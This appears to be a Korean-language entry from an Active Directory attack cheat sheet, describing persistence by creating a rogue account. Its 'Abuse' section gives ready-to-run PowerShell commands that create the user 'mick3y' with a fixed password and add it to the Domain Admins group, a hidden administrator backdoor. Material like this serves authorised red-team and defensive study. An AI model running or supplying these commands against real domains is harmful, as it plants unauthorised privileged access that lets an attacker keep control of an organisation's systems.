Create Account

공격자는 자신이 생성한 계정을 관리자로 등록함으로써 언제든 시스템을 제어할 수 있습니다.

Abuse

# 계정 생성
New-ADUser -Name 'mick3y' -SamAccountName 'mick3y' -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Enabled $true

# 도메인 관리자에 등록
Add-ADGroupMember -Identity 'Domain Admins' -Members 'mick3y'